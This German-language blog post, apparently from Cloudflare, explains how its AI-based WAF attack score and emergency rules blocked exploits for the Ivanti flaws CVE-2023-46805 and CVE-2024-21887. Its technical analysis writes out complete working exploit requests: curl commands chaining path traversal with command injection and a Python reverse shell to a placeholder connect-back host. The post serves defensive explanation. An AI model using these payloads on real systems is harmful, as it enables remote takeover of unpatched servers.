Die meisten WAF-Anbieter reagieren auf Schwachstellen erst, nachdem sie bereits entdeckt und ausgenutzt wurden. Wir dagegen glauben beim Umgang mit potenziellen Risiken an KI-gestützte Vorbeugung. Um zu verdeutlichen, was damit gemeint ist, möchten wir heute näher auf ein aktuelles Beispiel eingehen und erläutern, wie der KI-gestützte „Attack Score“ von Cloudflare und Notfallregeln der WAF gegen zwei kritische Sicherheitslücken (CVE-2023-46805 und CVE-2024-21887) eingesetzt wurden.
Bedrohung durch CVE-2023-46805 und CVE-2024-21887
Eine Sicherheitslücke, mit der sich die Authentifizierung umgehen lässt (CVE-2023-46805) und eine Command Injection-Schwachstelle (CVE-2024-21887), die jeweils Ivanti-Produkte betreffen, wurden kürzlich von AttackerKB offengelegt und analysiert. Beide bergen erhebliche Risiken, weil sie Unbefugten Zugriff auf und Kontrolle über betroffene Systeme ermöglichen können. Im Folgenden werden wir darlegen, auf welche Weise sich diese Sicherheitslücken ausnutzen lassen.
Technische Analyse
Wie bei AttackerKB beschrieben , kann der Angreifer mit einem Befehl wie dem folgenden eine speziell gestaltete Anfrage an das Zielsystem senden:
Dieser Befehl richtet sich an einen Endpunkt (/license/keys-status/), der normalerweise durch Authentifizierung geschützt ist. Diese kann der Angreifer aber umgehen, indem er die URL so bearbeitet, dass sie /api/v1/totp/user-backup-code/../../license/keys-status/ einschließt. Bei diesem Vorgehen spricht man von Directory Traversal.
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
Der im URL-Format kodierte Teil des Befehls wird in eine Python-Reverse-Shell dekodiert, was folgendermaßen aussieht:
Die Python-Reverse-Shell bietet dem Angreifer die Möglichkeit, die Kontrolle über das Zielsystem zu erlangen.
;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
Die Sicherheitslücke besteht in der Art und Weise, in der das System den Parameter node_name verarbeitet. Ist ein Angreifer in der Lage, den Wert von node_name zu kontrollieren, kann er Befehle in das System einschleusen.
Zur näheren Erklärung: Bei dem Parameter „node_name“ handelt es sich um eine Komponente des Endpunkts /api/v1/license/keys-status/path:node_name, bei dem das Problem in erster Linie auftritt.
Der Angreifer kann eine GET-Anfrage an den URI-Pfad /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; senden. CMD steht dabei für jeden beliebigen Befehl, den er ausführen möchte. Dieser kann mit einem Strichpunkt in die Anfrage eingebunden werden. Um sicherzustellen, dass der Befehl vom System korrekt verarbeitet wird, muss er im URL-Format kodiert sein.
Wie im Blogbeitrag von AttackerKB beschrieben, wurde noch eine weitere Code Injection-Schwachstelle identifiziert. Bei dieser handelt es sich um eine authentifizierte Command Injection, die in einem anderen Teil des Systems entdeckt wurde.
Hier kann mit der gleichen Python-Reverse-Shell-Nutzlast wie bei der ersten Command Injection eine JSON-Struktur gebildet werden, um die Schwachstelle hervorzurufen. Da die Nutzlast im JSON-Format vorliegt, muss sie nicht im URL-Format kodiert sein:
Der Endpunkt /api/v1/system/maintenance/archiving/cloud-server-test-connection erfordert zwar eine Authentifizierung, dies kann von einem Angreifer aber durch eine Verkettung mit der zuvor erwähnten Directory Traversal-Sicherheitslücke umgangen werden. Er kann den nicht authentifizierten URI-Pfad /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection erstellen, um diesen Endpunkt zu erreichen und die Schwachstelle auszunutzen.
{
"type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
"txtGCPProject": "a",
"txtGCPSecret": "a",
"txtGCPPath": "a",
"txtGCPBucket": "a"
}
Zur Ausführung eines nicht authentifizierten Betriebssystembefehls würde ein Angreifer eine cURL-Anfrage wie die folgende verwenden:
Cloudflare wendet eine vorbeugende Verteidigung an
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'
Die WAF von Cloudflare wird durch eine zusätzliche, KI-gestützte Ebene namens WAF Attack Score verstärkt. Diese dient dazu, Sicherheitslücken noch vor ihrer Veröffentlichung zu erkennen. Die Angriffsbewertung (der „Attack Score“) ist eine Einstufung des Grads der Bösartigkeit einer Anfrage. Bisher standen dabei drei Hauptkategorien im Fokus: XSS, SQLi und einige RCE-Varianten (Command Injection, ApacheLog4J usw.). Es wird ein Wert bzw. Score zwischen 1 und 99 vergeben. Je niedriger der Score, desto bösartiger die Anfrage. Im Allgemeinen gilt jede Anfrage mit einem Wert unter 20 als bösartig.
Schauen wir uns die Ergebnisse des oben vorgestellten Exploit-Beispiels für CVE-2023-46805 und CVE-2024-21887 im Cloudflare-Dashboard (Security > Events) an. Der Attack Score setzt sich aus drei Einzelbewertungen zusammen, die jeweils die Relevanz für eine bestimmte Angriffskategorie anzeigen. Darüber hinaus gibt es eine Gesamtbewertung. Dieser „WAF Attack Score“ bildet die gemeinsame Auswirkung der drei Einzel-Scores ab. In manchen Fällen wird die Gesamtbewertung durch eine der Unterbewertungen beeinflusst, wenn der Angriff einer bestimmten Kategorie entspricht. Im vorliegen Beispiel dominiert die Unterbewertung der Kategorie „WAF RCE Attack Score“, die eine Remote Code Execution-Schwachstelle anzeigt.
Darüber hinaus hat das KI-Modell für den Bereich „nicht authentifizierte Betriebssystembefehlsanfrage“, der ebenfalls zu den Kategorien bösartiger Anfragen zählt, einen WAF Attack Score von 19 ausgegeben. Erwähnenswert ist, dass es sich bei den Beispielbewertungen nicht um feste Werte handelt, sondern diese je nach Variante des eingehenden Angriffs variieren können.
Doch es gibt eine gute Nachricht: Kunden mit Enterprise- und Business-Tarifoption, bei denen die Funktion „WAF Attack Score“ aktiviert war, bei Business-Kunden in Verbindung mit einer Blockier-Regel im Fall von niedrigen Scores (z. B. [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20
) oder ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq
„attack
“), waren bereits vor Bekanntgabe der Sicherheitslücke vor den bisher getesteten potenziellen Exploits geschützt.
Anwendung von Notfallregeln
Als Reaktion auf diese schwerwiegende Sicherheitslücke hat Cloudflare am 17. Januar 2024 Notfallregeln freigeschaltet. Dies geschah binnen 24 Stunden nach Veröffentlichung des Proof of Concept. Diese Regeln sind Teil der Managed Rules für die WAF und richten sich speziell gegen die Bedrohung durch CVE-2023-46805 und eine zusätzliche Sicherheitslücke, CVE-2024-21887, die ebenfalls mit Ivanti-Produkten in Verbindung steht. Diese Regeln namens „Ivanti – Auth Bypass, Command Injection – CVE:CVE-2023-46805, CVE:CVE-2024-21887“ wurden entwickelt, um Versuche der Ausnutzung dieser Schwachstellen zu unterbinden und Cloudflare-Nutzern zusätzlichen Schutz zu bieten.
Seitdem wir diese Regeln eingeführt haben, werden sie intensiv genutzt. So sind sie bis Redaktionsschluss mehr als 180.000 Mal ausgelöst worden.
.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}
Rule ID | Description | Default Action |
---|---|---|
New Managed Rule…34ab53c5 | Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
Legacy Managed Rule 100622 |
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
Regel-ID
Beschreibung
Standardmaßnahme
Neue Managed Rule…34ab53c5
Ivanti – Auth Bypass, Command Injection – CVE:CVE-2023-46805, CVE:CVE-2024-21887
Blockieren
Alte Managed Rule100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887
Blockieren
Schlussfolgerungen und bewährte Vorgehensweisen
Die von Cloudflare gegen CVE-2023-46805 und CVE-2024-21887 ergriffenen Maßnahmen unterstreichen die Bedeutung solider Sicherheitsvorkehrungen. Um optimal geschützt zu sein, sollten Unternehmen, die Cloudflare-Dienste und insbesondere die WAF nutzen, darauf achten, dass die Regeln und Konfigurationen ihrer Systeme immer auf dem neusten Stand sind. Wir empfehlen Kunden außerdem, Regeln in Verbindung mit dem Attack Score einzusetzen, um ihr Sicherheitsniveau zu erhöhen. Wenn Sie mehr über den Attack Score erfahren möchten, wenden Sie sich gern an Ihren Ansprechpartner oder Ihre Ansprechpartnerin bei Cloudflare.
Fazit
Der vorausschauende Cybersicherheitsansatz von Cloudflare, bei dem KI zur Identifizierung und Abwehr von Angriffen zum Einsatz kommt, wurde anhand unseres Umgangs mit CVE-2023-46805 und CVE-2024-21887 veranschaulicht. Dieses Beispiel zeigt, wie sich Bedrohungen und Angriffe erkennen lassen, noch bevor sie veröffentlicht und Sicherheitslücken offengelegt werden. Durch kontinuierliche Überwachung und schnelles Reagieren auf Schwachstellen stellen wir sicher, dass Cloudflare-Kunden in einem immer komplexen digitalen Umfeld weiterhin gut geschützt sind.